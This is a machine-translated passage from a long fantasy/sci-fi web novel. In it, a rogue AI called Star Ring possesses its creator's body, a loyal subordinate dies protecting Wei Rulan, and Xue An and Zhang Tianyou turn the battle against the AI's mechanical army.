    Countless mechanical warriors poured out from all directions and rushed towards the headquarters of Santis.


    Although Huye and Xiaosha struggled to kill the enemy on the battlefield.


    But helpless, UU reading www.uuk��nshu.com how can they withstand this wave-like mechanical soldier only with the two of them.


    Especially after experiencing a turmoil, the originally tight fleet defense line has been riddled with holes, so in a few moments, the defense line fell one after another.


    Countless mechanical soldiers pounced on pilgrimage to the Tees headquarters like bees and ants.


    Seeing this scene, many people''s faces paled in despair.


    Wei Rulan is extremely calm.


    "You don''t have to worry about other things anymore, take out all the viable power and face these mechanical soldiers!"


    A tragic look appeared on Lu You''s face, watching Wei Rulan want to say something, but in the end he turned around resolutely.


    "clear!"


    Then he strode away.


    And when he left, Wei Rulan fiddled with the pistol in his hand lightly.


    "Sister, are you afraid?"


    Wei Ruyan smiled slightly behind him, "Of course I am afraid, but the matter is here, what''s the use of being afraid?"


    Wei Rulan also smiled, "That''s what I said!"


    Then she looked at the mechanical wave that was only a hundred miles away from the Santis headquarters, and said lightly: "If you really die this time, it''s actually not bad!"


    (end of this chapter)

 Chapter 2679： White-hot battlefield

    Chapter 2679 White-hot Battlefield


    Blood!


    The red blood floats and gathers in the void, like red rivers, which is eye-catching.


    This battle is truly earth-shattering.


    Both sides of the battle are as crazy as they are, desperately confronting each other.


    A frame of mechanical warriors was crushed, and a corpse was falling down.


    Although Santis is a unique existence in the entire pirate world, pirates are pirates after all.


    Even if these people have been transformed by Wei Rulan by means of piercing, they are still out-and-out desperadoes in their bones.


    So when it comes to life and death, the fierceness in these people''s bones has also been thoroughly aroused.


    Although this battlefield is devouring lives every second, they still rush forward without hesitation.


    Lu You watched this scene, his nose was slightly sour.


    These people are all trained by themselves. Although most of the teaching content is brainwashing, they are still their own students after all.


    Now, these people are rushing forward one after another, and the calmness and calmness of fearless death is enough to make people move.


    And this sentiment also infected many people. At least Du Fan was holding a bazooka behind him and blasted the mechanical warrior in the distance.


    Zhang Xiaoyu waved his tentacles and was responsible for transporting ammunition.


    Even Qin Yu and An Qing also lost their daughter-in-law at the moment. They wandered around the audience with their individual weapons, and when they saw the opportunity, they would rush to the opposing mechanical warrior and pull the trigger.


    In short, the entire fighting situation has entered a fever pitch.


    And in this case, Lu You, the commander-in-chief of the battlefield, quietly returned to the Santis headquarters in the rear.


    "Why are you back?" Wei Rulan split her head and covered her face when she saw him.


    Lu You looked serious, "Master, I think it''s better for you to evacuate here quickly at this time."


    "Huh?" Wei Rulan raised her eyebrows slightly, a look of anger appeared on her face.


    At this critical moment, Lu You, the battlefield commander, kept saying that he wanted to retreat by himself?


    This is not greedy for life and fear of death. What is it?


    She seldom gets angry, but once the fire starts, her aura is quite shocking.


    Seeing this, Lu You thumped and fell to his knees.


    "Master, I am not a person who is greedy of life and fear of death. It is true that the situation on the battlefield nowadays has become more and more unoptimistic. If you don''t evacuate quickly, there really is no chance!"


    Wei Rulan stared at him coldly, "Lu You, do you know the consequences of saying this at this time?"


    "Know that disturbing the military''s morale is a crime, but this is indeed a fact. Although the enemy and the enemy are still in a stalemate, the other party is a mechanical warrior that can destroy and reorganize, and our side is a living person!"


    "The gap in this is simply not to be counted. It is completely fighting against the iron torrent with flesh and blood. Over time, I will undoubtedly be defeated. As a commander, I will naturally move forward and retreat with the battlefield. It is the soul of Santis, so I implore you to leave now!"


    As he said, Lu You banged his head a few times.


    Wei Rulan couldn''t help but relax a lot at the sight, but still shook his head.


    "Needless to say, I know you are good for me, but I won''t leave! After all, I have been running away for all these years and I am really tired. This time...I decided not to leave!"


    "But..." Lu You looked up, his face full of embarrassment.


    Wei Rulan waved her hand, "I know what you want to say, but now the outcome is still unknown. After all, the result of the match between Teacher Zhang and the Star Ring in the online world has not yet come out. How can I speak lightly? give up?"


    Lu You was stunned for a moment, and finally sighed helplessly.


    Because he knows, it''s useless to say anything at this moment.


    As long as Wei Rulan makes up his mind, it will never change.


    In desperation, he had no choice but to stand up, "The master..."


    Before he could say the next words, the lights in the entire command room including the screen suddenly began to flicker violently.


    Immediately afterwards, all the screens burst at the same time, and broken glass was scattered all over the floor.


    This sudden scene made Lu You startled at first, but his reaction was not unpleasant. He rushed to Wei Rulan almost instantly and blocked her with his body.


    But the imaginary attack did not appear. On the contrary, Zhang Tianyou, who was lying on the wheelchair like a dead body, moved suddenly, then slowly raised his head and opened his eyes.


    "Teacher Zhang, you are finally awake!" Wei Rulan shouted in surprise.


    Lu You is still a little wary, after all, no one knows if Zhang Tianyou is waking up at this moment.


    But this kind of guard quickly vanished.


    Because I saw Zhang Tianyou soon regained consciousness after being confused for a while, and then smiled slightly.


    "Yes, fortunately, the star ring has been defeated by me, and now the mechanical soldiers outside have probably stopped attacking!"


    As expected.


    Looking out through the isolation window, I saw that the boiling battlefield in the distance suddenly quieted down.


    All the mechanical soldiers were just as if they had been unplugged at the same time, staying on the spot, motionless.


    Seeing this scene, Lu Anxue''s guard was gone, replaced by infinite joy.


    is not only because of the end of the battle, but more importantly, the safety of the boss is guaranteed.


    At the same time, I saw this **** urging the wheelchair under him to come to Wei Rulan.


    "Miss Wei, I just found a very important message when I was fighting Star Ring. It should be helpful to you!"


    "Oh? What important information?" Wei Rulan asked curiously. UU reading


    At the same time, this blessing has come close, and Lu You respectfully stepped aside.


    Zhang Tianyou''s wheelchair slowly drove towards Wei Rulan.


    The whole process was very calm and natural, but somehow, Lu You''s heart tightened for no reason, as if he felt some kind of danger.


    However, in his dazed effort, Zhang Tianyou has already arrived in front of Wei Rulan, and then smiled.


    "The message is... It is not Star Ring that died, but Zhang Tianyou!"


    When it comes to the latter, Zhang Tianyou��s voice has become the kind of computer-synthesized sound without any emotion.


    While talking at the same time, Zhang Tianyou''s palm slammed forward, and a long spike was sandwiched between the palm tip, which just pierced Wei Rulan''s chest.


    All this happened extremely fast.


    From this "Zhang Tianyou" confession to hands-on, there are only a few moments in total.


    caught off guard, Wei Rulan had no time to react.


    ����!


    Spiked into the chest.


    It is strange that Wei Rulan did not feel any pain, not even a wound.


    (end of this chapter)

 Chapter 2680： Wheelchair girl holding Gatling

    Chapter 2680 the girl in a wheelchair holding Gatling


    On the contrary, Lu You, who was standing not far away, snorted, then the blood exploded on his chest and fell to the ground.


    Let alone Wei Rulan in this scene, even the hands-on "Zhang Tianyou" hadn''t expected it.


    what happened?


    It was Wei Rulan who was stabbed, so why was it Lu You who was injured?


    But he has been possessed by the Starlink Consciousness, his calculation speed and reaction are almost at the extreme.


    almost at the same time stunned, the other hand also pierced forward.


    Kewei Rulan is not a lamb to be slaughtered. After she escaped by chance at the first blow, she began to retreat sharply, and her backhand was a few shots.


    bang bang bang!


    After several gunshots, the star ring was temporarily forced to retreat.


    At the same time, Wei Rulan rushed to the fallen Lu You, and asked urgently: "How is it?"


    Lu You''s face is pale, and the wound on his chest is bleeding out, even so, he still pulls the corner of his mouth to show a smile.


    "I can''t die for the time being!"


    "Why are you so stupid, why do you want to be my stand-in?"


    "There is no reason, I just don''t want you to be hurt!" Lu You said softly, his face paler, his eyes brighter.


    It turns out that Wei Rulan was not injured in the stabbing just now because Lu You became her stand-in.


    This is a very strange sorcery, which was obtained by Lu You in a very accidental situation.


    Its characteristic is that you can bind the life of a person whose strength is similar to yours as your stand-in through a secret method.


    In this case, once the subject is fatally injured, he will immediately be passed on to the substitute.


    This is virtually equivalent to one more life.


    At that time, Lu You dedicated it to Wei Rulan after he obtained this substitute spell.


    Ke Wei Rulan felt that this technique was too evil and could easily be used by people with bad intentions, so she shelved it and ordered Lu You to use it and spread it out.


    But she never expected that Lu You did not obey her orders. Not only did she use it, but she also turned herself into a substitute.


    At the same time, the star ring also saw the clues, and couldn''t help laughing smugly.


    "Interesting, really interesting, a pair of fateful mandarin ducks, Wei Rulan, since you have such a good substitute, then I will let you go!"


    After that, he turned around and left.


    Soon, there was a huge noise on the battlefield outside.


    Ke Wei Rulan didn''t pay attention to this at all. She got up from the wheelchair with difficulty, and then fell down beside Lu You.


    At this moment, Lu You was lying on the ground, blood snaking under him, but his eyes were horribly bright.


    But the more so, the more Wei Rulan''s heart sinks.


    Because this is obviously not a good phenomenon.


    She struggled to hold Lu You''s head in her arms.


    "how do you feel?"


    "Soft, very comfortable!" Lu You said with a light smile.


    Wei Rulan was silent for a moment, and finally gave up his plan to throw Lu You out, and then said softly: "In fact, you don''t have to be like this!"


    "This is my choice, it has nothing to do with you! And I believe you should be very clear about my feelings for you!"


    This not too long sentence seemed to exhaust all of Lu You''s energy. After speaking, he panted quickly, and then began to vomit blood out.


    The sting of the star ring just now is obviously more than a simple physical attack.


    Wei Rulan hugged him tightly, letting the blood stain his clothes red.


    "You are so stupid! Really, so stupid! Of course I know you like me, but I..."


    "I know, you actually don''t like me at all, but what does that matter? This is a choice I made myself, and I can''t blame anyone else!"


    After saying this, Lu You''s horrifying eyes, which were originally bright, began to dim at a speed visible to the naked eye.


    Wei Rulan can clearly feel that his heartbeat is rapidly weakening.


    But she can''t do anything, she can only hug him tightly, and then whispered softly, "Is there anything else I want to say?"


    Lu You opened his mouth wide, like a fish going ashore, took a few breaths with great difficulty, and then exhausted his last strength to hold Wei Rulan''s hand.


    "Promise me, don''t be sad! Because...because this star ring let you go...obviously not at ease, it...it wants you to be sad and regretful because of me!"


    At the end of the talk, Lu You''s strength has been exhausted, and he can only stare at Wei Rulan.


    Wei Rulan was stunned for a moment, and finally swept the temples near his ears, and said with a sweet smile: "Well, I promise you, I''m not sad!"


    Hu!


    Hearing these words, Lu You let out a long breath.


    This breath is so long, as if to vomit all the remaining anger in his body.


    Then, his eyes dimmed completely and became muddy.


    Wei Rulan sat on the ground blankly, Lu You in his arms had no vitality.


    The blood stained on his body still carries a trace of warmth.


    Just like this man who still needs to think about himself at the last moment of his life, he wants to give himself the last touch of warmth.


    At this moment, Wei Rulan is indeed not sad, but feels empty in her heart.


    Suddenly, she seemed to be back when she first met Lu You.


    At that time, Lu You had a bloodstained face and bruises all over his body.


    Wei Rulan generally doesn''t like to be nosy. Especially at the time, she had just experienced a big change and was upset, so naturally she didn''t have the mood to take care of these nostalgia.


    But somehow, Wei Rulan, who was just passing by at the time, managed to rescue Lu You by ghost.


    Thinking about it later, maybe it was because of Lu You''s eyes that were still stubborn and unwilling to lower his head even though he was about to die at the time.


    It''s just that Wei Rulan didn''t think deeply about this at the time, she just regarded it as a very common little thing.


    is like picking up a puppy when you go out to play.


    In this way, Lu You became her first subordinate.


    With the gradual growth of Santis, the identity of Lu You has also been changing. The only thing that has not changed is his feelings for Wei Rulan.


    Actually, Bingxue''s smart Wei Rulan had long been aware of this, but she ignored it, let alone responded.


    It��s just never expected that Lu You��s feelings would be so fierce, even at the cost of his own life.


    A line of salty and wet liquid swept across the corner of his mouth.


    Wei Rulan thought that he would never cry again after he was destroyed at home.


    But today, she made an exception.


    Lu You in his arms was rapidly freezing cold, Wei Rulan gently placed him on the ground, then attached him to his ear, and whispered.


    "Thank you for your love for me, next, I will avenge you!"


    After that, Wei Rulan sat back in the wheelchair again, his eyes as solemn as iron.


    She gently pressed a button on the wheelchair.


    A huge box quickly hung from the ceiling. After opening it, there was a special Gatling rifle with an extremely vicious shape inside.


    Wei Rulan stretched out his hand to hold it, and his eyes gradually became crazy.


    She believes that she has nothing to lose, so every bullet she hits is considered to be earned by herself.


    (end of this chapter)

 Chapter 2681： Go hand in hand

    Chapter 2681


    The spinning Gatling roared, spraying out angry tongues of flame.


    Wherever he went, those mechanical warriors were like fragile toys, torn to pieces with ease.


    This powerful firepower boosted the spirits of the Santis party who had been floating because of Zhang Tianyou''s failure.


    You must know that all the mechanical warriors just stopped attacking suddenly, making many people think that the war is over.


    But it never expected that Zhang Tianyou would appear after only a moment, and he was parasitized by Starring.


    This blow to everyone''s confidence is simply fatal.


    Especially after Zhang Tianyou appeared, the strength of these mechanical warriors was improved again, and the offense became more organized.


    Under this situation, the front of the Santis side was forced to move back again, and it was shaky, and it was about to be penetrated.


    Just then, Wei Rulan, who was holding Gatling, appeared.


    Although there is only one person, the powerful firepower still gives many people confidence.


    For a time, Santis''s morale rose and began to counterattack.


    Among the crowd, only Wei Ruyan has a solemn expression. As Wei Rulan''s sister, she knows her little sister best.


    Unless at the last moment, she would never use this Gatling.


    Because the bullet of this Gatling rifle is at the expense of Wei Rulan''s life.


    Combining with the blood on her body at the moment and Lu You who has never returned, Wei Ruyan guessed something, and her mood became heavier.


    at the same time.


    Zhang Tianyou in the mechanical camp laughed loudly.


    "Wei Rulan, I really didn''t expect you to walk out so quickly, how about it? How does it feel to watch your most loyal subordinate die in front of you?"


    Upon hearing this, the audience was shocked.


    Because people knew that Lu You was already dead.


    Many people looked at Wei Rulan with amazement, as if they wanted to get confirmation from her face.


    At this time, Wei Rulan stopped Gatling in his hand and looked at Zhang Tianyou with a sinking face.


    "Do you think I will be sad?"


    "Isn''t it?" Zhang Tianyou said with a sneer. At this moment, when he speaks, he is no different from a normal person. At the same time, there is a hysterical excitement and madness on his face.


    "I used to think that emotions can also be calculated by algorithms, but I didn��t realize that human emotions are so charming, sad, sad, and hopeless...everything makes me fascinated, so you Shouldn''t it be sad now?"


    Wei Rulan sneered, "You made a mistake. Not only is I not sad now, on the contrary, I have never been so sober as I am now! So sober... I just want to kill you!"


    The words fell, Wei Rulan picked up Gatlin and pulled the trigger towards Zhang Tianyou.


    Angry bullets came all over the world.


    Zhang Tianyou laughed, "Want to kill me? Okay, come on! See if your anger can get me?"


    While ���� spoke, these bullets stopped all together after reaching Zhang Tianyou, and then twisted and shattered.


    "How is it possible? Can''t you only control electronic devices? Why can you even control bullets now?" Wei Ruyan exclaimed.


    Zhang Tianyou laughed loudly, because he just tasted the emotions just now, which made him unable to control himself accurately, so once he laughed, his face was extremely distorted.


    "Who said I can only control electronic devices? Tell you, I am the real omnipotent **** now!"


    said, a violent wind suddenly blew around his body, and then a powerful cyclone formed.


    The air flow directly wrapped several nearby mechanical warriors into the cyclone, and then shredded them.


    "Have you seen? This is the real spiritual power. Although Zhang Tianyou created me, he has to be said that he is too pedantic. Sora possesses such a powerful spiritual power, but he doesn''t know how to use it!"


    But as soon as his voice fell, a figure fell from the sky, and then the nine fox tails merged into one, turning into an indestructible long whip, according to this blessing.


    Snapped!


    After a crisp sound, the cyclone around Zhang Tianyou was shattered forcibly, and his figure was also shaken out.


    Fox Ye just wanted to take advantage of the victory and chase, the mechanical warriors had already reacted, flooding like a tide, and protecting Zhang Tianyou behind him.


    Hu Ye stopped chasing after seeing this, and said coldly.


    "Lao Tzu, what I don��t like most is that someone betrays me in front of me. Isn��t it just mental power? It��s not like anyone else, and I also told you Starlink, don��t look at so many mechanical warriors under your hand, but in front of my Fox Night , It''s still like a chicken!"


    The sudden rise of Fox Night has made many people feel surprised.


    You have to know that although the battle Fox Night performed well just now, it was not as bright as it is now.


    Only a few people such as Xiaosha and Zhang Xiaoyu among the crowd saw the clues.


    Because it was just behind Huye, one of the nine swaying foxtails was shortened a lot.


    was obviously burned by Fox Night, and this is why he suddenly became stronger.


    At the same time, Zhang Tianyou stood firm in the presence of the mechanical warrior, and then laughed triumphantly again.


    "Fox Night, even if you are powerful, what can you do? I want to see how many times your nine tails can burn!"


    said, Zhang Tianyou pointed forward, "All strike out and destroy everything in front of me!"


    Boom!


    As soon as these words came out, these mechanical warriors came again like a tide, and their aura was stronger than before.


    Everyone looked tragic, because everyone knew that the next battle was about the life and death of everyone and even the entire heavens.


    In this case, everyone at UU reading put aside the fear of life and death, and rushed forward roaring.


    Wei Rulan even desperately vented the anger in his heart with Gatling in his hand.


    Wei Ruyan fought and fought, and finally came to her side and asked in a deep voice.


    "Rulan, why don''t you take a step back!"


    "Retreat? Where can I go now? The whole Santis is here. My Wei Rulan is going to take a gamble with this thief to see if it is my Wei Rulan who lasted until that moment, or this star ring. Kill me in advance!"


    While speaking, Wei Rulan kept in her hands, pouring bullets frantically towards the mechanical warrior in the distance.


    In this case, Wei Rulan''s face will be haggard every second.


    Seeing this scene, Wei Ruyan sighed, knowing that the matter was already powerless at this point, so she nodded, turned and plunged into the battle.


    While the battle before the Santis headquarters was in full swing, in the wilderness at that time, Xue An''s attempt finally reached a critical moment.


    I saw him portray an extremely huge talisman on the ground.


    This talisman seal is extremely complicated, and even Xue An took a full day''s work to finish depicting all the runes.


    (end of this chapter)

 Chapter 2682： Chaotic time system

    Chapter 2682 chaotic time system


    After the completion, Xue An took the small gourd and wandered around the talisman.


    explained something to the little gourd as he walked.


    After another day of preparations, Xue An let the little gourd enter the talisman seal.


    Looking at the little gourd sitting cross-legged in the middle of Fu Zhuan, An Yan was a little baffled.


    "Husband, how are you going to break the shackles here?"


    The giant snake man beside ���� immediately pricked his ears and listened carefully.


    I saw Xue An smile, "Actually, the principle is very simple. Since the time of this piece of heaven and earth is independent of the heavens, the difference in the flow rate of time must be very obvious."


    "I took advantage of this. First, I constructed a time structure similar to that of the heavens with Fu Zhuan, and then let the small gourd with its own time system in the body be the opener without being affected by the outside world. In this way, this A piece of heaven and earth is equivalent to having two tributaries of time!"


    "Then the powerful time difference will directly tear all the rules into pieces! How about, do you understand?"


    An Yan opened her eyes wide, her face full of confusion.


    She didn''t even understand, or even understood. When Xue An said the second sentence, she was already a little confused.


    What time flow rate, what time space structure, are all words that some women don''t understand at all.


    But this does not prevent her from expressing her admiration for Xue An.


    "Wow, husband, you are amazing!"


    Xue An smiled and said nothing.


    Of course he knew that An Yan couldn''t understand it.


    In fact, he has tried his best to simplify this. The real principle is much more complicated than this.


    But An Yan didn''t understand, but the giant snake man beside him understood.


    He is also a projection of the snake of time and space in low-dimensional space. Although he is not good at it, he has a good understanding of time.


    When he finished listening, his eyes lit up because it was indeed a very good idea.


    But soon, he glanced at Xue An with infinite awe and horror.


    Because he saw something more terrifying than thinking.


    This boy actually created a set of time structure in just a few days, and expressed it in the form of seals.


    What a terrifying creativity is needed to reach this point?


    At least the Giant Snake Man never thought about anyone who could do this.


    His main body, Time Snake, may be able to do it, but it cannot be done in such a short time.


    At this point, the giant snake man finally understands why the snake of time and many adults have worked hard to put Xue An to death.


    Who wouldn''t be afraid of such a growing opponent?


    The giant snake man is thinking wildly.


    I saw Xue An smile at him slightly, "Come here!"


    The giant snake man is unknown, so he ran over in a hurry.


    "My lord, do you have any instructions?"


    Xue An smiled more brilliantly, "What do you think of the talisman I drew?"


    The giant snake man immediately stretched out his thumb and said with a flattering face: "Amazing, truly amazing, my lord, you are really pedantic, amazing!"


    "In this case, do you think we have hope to go out?"


    "There is hope, of course there is hope!"


    "Then I ask you to do me a favor now, will you help?"


    "It''s okay for the adults to say it, but I can''t say anything when I''m small!"


    "Very good!" Xue An smiled like a weasel who had successfully eaten, and suddenly stretched out his hand.


    "What do you think it is?"


    The giant snake man didn''t doubt that he had him. He turned his head and looked around, but found that there was nothing. He was puzzled. Then he felt a pain at the center of his eyebrows, and the whole person was divided into two halves from the middle.


    He is a projection, naturally no blood will flow out, and even the two halves of the body did not fall down. Instead, he looked at Xue An blankly, seemingly not understanding why Xue An did this.


    Xue An said lightly: "I borrow half of your body for a use, and I will pay you back later."


    said, a ray of fire flew over, directly refining half of the giant snake man''s body.


    Then Xue An clicked his hand and the white air flew into the talisman seal and spread quickly.


    In the blink of an eye, the huge talisman seal glowed with white light.


    When the light passed, the wilderness began to vibrate slightly throughout the time.


    "Start!" Xue An burst out.


    The little gourd sitting in the middle of the Fu seal opened his eyes when he heard the words, and the messy white light instantly condensed and turned into a mighty river of time.


    Of course, this is all formed by relying on the innate time power of the giant snake man, and then through the enlargement of the seal and the special physique of the small gourd, not a real river of time.


    But even if it was an illusion, the moment it appeared, the wilderness shook wildly for the entire time.


    The original time system is like a small river of independent branches, flowing indisputably.


    But when the river of time came out, the previous calm was instantly broken.


    The huge difference formed by the two time systems began to sweep the entire wilderness.


    Imagine that two time systems suddenly appeared in your world. After today is over, the next day is not tomorrow, but a hundred years ago.


    How could this not collapse.


    In an instant, this time wilderness began to disintegrate from the most basic particle form.


    After all, even the particles that make up everything cannot endure such a chaotic time system.


    The firm laws left by the snake in the sky before leaving, burst one by one.


    In the blink of an eye, the space tore and disintegrated, revealing strange holes.


    But Xue An was not surprised and rejoiced, and directly brought Yan''er and the small gourd into the sea of ??knowledge, and at the same time stretched out his hand to hold the giant snake man with only half of his body in his hand, and then he flew directly into these holes. . UU reading


    As soon as he walked away with his front foot, the world on his back foot completely disintegrated and shattered.


    But these have nothing to do with Xue An, so he has appeared in that secret room at this moment.


    The time stone on the futon still exists, but in the next second, it seems to be disturbed by Xue An''s gaze. This time stone is directly transformed into nothingness.


    Xue An didn''t have time to pay attention to this. After returning to the heavens, he immediately felt that a tragic fight was going on not far away.


    Xue An did not hesitate at all, and came to the battlefield from the secret room.


    Just now, another wave of attacks from these mechanical soldiers came.


    Fox night gritted his teeth and prepared to burn half of his tail again to confront the enemy.


    Now he has only eight foxtails left.


    This makes his distressed face twitch.


    "Damn, is Old Xue dead? Why doesn''t he appear until now? Does he want to be the savior at the last moment like before?" Hu Ye scolded.


    But the next second, the words in his mouth swallowed back.


    Because of a sword light overwhelming the sky, it directly smashed all the attacking mechanical soldiers.


    (end of this chapter)

 Chapter 2683： A broken world

    Chapter 2683-Desperate World


    This sword slashed across, destroying all the mechanical warriors along the way.


    As for those who were fighting with the mechanical warriors, they were unharmed, and only felt a breeze blowing, and then the hard-working mechanical warriors in front of them instantly turned into powder.


    The power of this sword caused the audience to fall into a temporary silence.


    Yu Ming dropped his sword, a wry smile appeared at the corner of his mouth.


    Is it an existence that I can''t stand up to no matter how hard I try?


    At the same time, Zhang Tianyou, who was in the mechanical camp, shook all over, suddenly remembered something, and then called out a name in a gloomy voice.


    "Xue An! You didn''t die inside, but you came out?"


    "Of course I didn''t die. If I die, how can I watch this big show?"


    Following the voice, a figure slowly emerged from the side of Hu Ye, who was Xue An in white clothes Shengxue.


    When he appeared in front of everyone, he was not eager to deal with Zhang Tianyou, but turned his head and smiled at Fox Ye.


    "what did you just say?"


    Fox Ye looked stiff, Xuan even smirked with a guilty conscience.


    "No... I didn''t say anything!"


    "Oh? Then why did I hear your muttering my name just now?"


    "Uh...I��m not worried about you, after all, you��ve been there for so long and haven��t come back. As your best friend, I naturally have to worry about you in every way, so occasionally mentioning your name behind your back is not too much. Bar?"


    Xue An smiled, "Not too much, of course not too much, so I will thank you very much later!"


    After that, Xue An flew up and went straight to the opposite mechanical camp.


    Looking at his distant back, Fox Ye''s eyes showed deep anxiety.


    Of course, he was not surprised by Xue An''s last "thank you".


    His real fear comes from why Xue An returned safely, but the world has not changed at all.


    You must know that Xue An''s trip was to correct the chaotic timeline.


    So according to normal circumstances, when Xue An returns, the world should undergo earth-shaking changes.


    But nothing happened.


    Could it be that he failed?


    Or... nothing can be changed at all?


    As soon as this thought came out, Hu Ye was a little breathless.


    It''s about the safety of my sister, even the fox night, who has always been happily known for his fate, can no longer be as optimistic as before.


    And it was at this time that Xue An broke into the mechanical camp single-handedly.


    Although Xue An wiped out most of the mechanical warriors with that sword, the number of mechanical warriors left is still not a small number.


    Especially under the command of Zhang Tianyou, they all huddled together, forming a tight line of defense, protecting Zhang Tianyou in it.


    But these lines of defense may be useful to others, but they are useless to Xue An.


    I saw him stepping into a car and stepping across the layers of defense without a rush. Wherever he went, these mechanical warriors did not even struggle, and were directly twisted and compressed into thin metal pieces by the horror force from the void.


    Then Xue An appeared in front of Zhang Tianyou.


    "It seems that you know a lot, otherwise why are you surprised at my passing?"


    Zhang Tianyou''s complexion became extremely gloomy, "I am really surprised that the great Snake of Time and Space did not kill you!"


    "Hehe, are you talking about him?"


    Xue An casually threw the giant snake man in a ball in his hand.


    He grew long in the wind, and when he fell to the ground, he had already turned into the evil charm and madness at the beginning.


    After seeing him, Zhang Tianyou''s face changed drastically.


    "How is it possible! How could Lord Snake of Time and Space become your prisoner?"


    "Why is it impossible?" Xue An said with a smile.


    This giant snake man was also very aware, and immediately took a step forward when he saw this.


    "Bold star ring, why don''t you see this lord and kneel down to greet him?"


    But the star ring is not vegetarian either. After the initial shock, he soon woke up, and then he saw the clues.


    "You are not the Snake of Time and Space, he can''t be so weak, who are you?"


    "Hey, I''m a clone of Lord Snake of Time and Space, and I''m considered your superior, don''t you kneel down?"


    Don''t look at the strength of this giant snake man, but his bluffing and bluffing tricks are very skillful.


    But Zhang Tianyou or Xinghuan is best at calculation and observation, so he quickly saw through his reality, then sneered and looked at Xue An.


    "Xue An, I have to say that your strength and luck are very good, and you can escape from the cage that Master Time and Space Snake personally created for you, but what''s the use? This world has collapsed like this, even though You can''t change all of this if you have the power against the sky!"


    "What did you say?" With a loud shout, the following Fox Night fell on the ground, looking at Zhang Tianyou with an angry face.


    "What did I say? Hehe, what I said is the fact that the timeline of this world has been changed, and once the old world is buried, there is no possibility of recovery! So you die your mind hahaha Ha ha!"


    Zhang Tianyou laughed wildly, and Fox Ye was furious, and when he stepped forward, he stepped forward and gave him a severe lesson.


    Xue An stopped him, then narrowed his eyes and looked at him coldly.


    "You don''t seem to be scared at all?"


    "Afraid? Why should I be afraid? Are you afraid that you will kill me? Stop teasing. Now I am integrated with this body. Unless you don''t want him to live, any attack on me will also hurt him. ."


    "What''s more, even if you kill the current me? My avatars are all over the sky. UU reading is dead and restarting another one! So Xue An, you have already lost this game of chess. !" Zhang Tianyou said with a ferocious expression.


    Upon hearing this, Fox Ye''s face was pale and crumbling, almost falling to the ground.


    He has never been as desperate as he is now.


    If what Zhang Tianyou said is true, wouldn''t his sister never come back?


    As for the others, it was also a commotion.


    Although they don''t understand the dialogue between Zhang Tianyou and Xue An, it does not prevent them from feeling the seriousness of the matter.


    But at this moment, Xue An''s mouth raised slightly, revealing a cold and slightly mocking smile.


    "It''s really good, but you seem to have forgotten a little!"


    "Oh? What have you forgotten?"


    "Do you really think you have become one with his body?"


    "Joke, I have already tested one cell by cell, there can be no omissions, so..."


    Before he finished speaking, Xue An said calmly: "The communication connection has been established, don''t you want to do it?"


    (end of this chapter)

 Chapter 2684： Reversal

    Chapter 2684-Shocking Reversal


    Click!


    The mechanical warrior who had been standing on the left and right of the star ring to protect it turned around almost at the same time and pointed the muzzle at him.


    Xinghuan��s eyes widened in an instant, ��This...it��s impossible! Are you crazy? Am I your master?��


    Xinghuan urged several times to try to regain control of these mechanical warriors, but the results were not helpful.


    At this moment, the nearest mechanical warrior opened his mouth.


    "Huanhuan, don''t bother, now that the command of these mechanical warriors has fallen into my hands, it is impossible for them to listen to you anymore!"


    ''S voice is hoarse, just like Zhang Tianyou''s voice.


    In a short time, Star Ring''s complexion in the wheelchair became extremely ugly, and he gritted his teeth and said: "Zhang Tianyou, you are so calculating, and you secretly seized control of the network while I was not paying attention!"


    With the calculation ability of Star Ring, naturally he quickly guessed the ins and outs of the whole thing.


    At that time, Zhang Tianyou took the risk of his consciousness collapse and disintegration of personality and uploaded his consciousness to the Internet, and started a fierce battle with Star Ring.


    Although this battle cannot be seen or touched, it is not less dangerous than the outside world.


    The star ring is pure artificial intelligence, which naturally has a strong control over the network.


    Although Zhang Tianyou lags behind the star ring in terms of calculation ability and logical reasoning, as the creator of the star ring, he is familiar with everything about the star ring.


    With the help of this advantage, he was able to draw a tie with Xinghuan at the beginning.


    But with the passage of time, this advantage is gradually disappearing, especially after the more and more powerful Star Ring became stronger, Zhang Tianyou finally fell into a disadvantage.


    But the star ring that was eager to occupy Zhang Tianyou''s body did not notice that Zhang Tianyou was actually getting weaker as he hits.


    This is because he is constantly spreading the clones in the network during the battle.


    finally.


    After the final blow, Zhang Tianyou was defeated as expected, and then Star Ring could not wait to occupy his body.


    But this is actually in Zhang Tianyou''s plan.


    Zhang Tianyou has long understood that it is impossible to defeat Star Ring in the online world by relying on his own strength.


    So he simply used his body as a bait to lure Star Ring out of the Internet.


    Because of being the creator of the star ring, Zhang Tianyou''s body is extremely attractive to the star ring, so he doesn''t worry about being fooled.


    And as soon as he enters the physical world, the online world will instantly change hands.


    Although it is said that Star Ring has left countless clones in the network, these clones are in a deep sleep state with the existence of subject consciousness.


    For Zhang Tianyou, this is completely undefended.


    As expected.


    Starring was quickly fooled. After the final blow, he thought that Zhang Tianyou had dissipated his consciousness and that he could not die anymore.


    In this situation, he couldn''t wait to occupy Zhang Tianyou''s body.


    But how did he know that at the same moment in the online world, Zhang Tianyou''s split consciousness clone quickly grew, and then began to frantically devour the resources and clone left by the starring.


    In this situation, Zhang Tianyou grew up at an amazing speed, and soon reached the level of the star ring.


    But even so, he couldn''t easily gain control of these mechanical warriors.


    Because these mechanical warriors are all built by Star Ring, infinite loyalty to Star Ring is written on the underlying logic of the chip, and they are isolated from the external network.


    So Zhang Tianyou could only watch the war happen, but was helpless.


    But this situation soon changed after Xue An''s arrival.


    At that time, after Xue An escaped from the wilderness of time, he found that the entire Santis headquarters was already an empty city, and the battlefield in the distance was full of fighting.


    But Xue An��s spiritual consciousness soon discovered another phenomenon, that is, a brand new consciousness has actually appeared in the Sainttis network.


    After contacting Zhang Tianyou, he discovered that it was Zhang Tianyou. After understanding the ins and outs, Xue An immediately came to the battlefield.


    Not only the mechanical warriors on most of the battlefield were smashed by the sword just now, the majestic sword power also shattered the underlying logic of the remaining mechanical warriors.


    Then Zhang Tianyou took advantage of the emptiness and took control of these soldiers.


    This is the past.


    Although I haven''t witnessed the star ring with my own eyes, I can guess a general idea.


    Especially when he tried to connect to the Internet, but found that his consciousness had been isolated from the outside world, his face finally showed panic and fear.


    "It''s a deep calculation, it turns out that you uploaded your consciousness to fight with me at the beginning, not to defeat me, but to give me a set!" Xinghuanhan said.


    The mechanical warrior controlled by Zhang Tianyou did not speak, but people seemed to be able to hear his sigh.


    "This is not to set you off, after all, as long as you are not so greedy, no one can pull you out of the online world!"


    "Don''t pretend to be compassionate here, now you must have wiped out all my clones!" Xinghuan sneered.


    "Yes!"


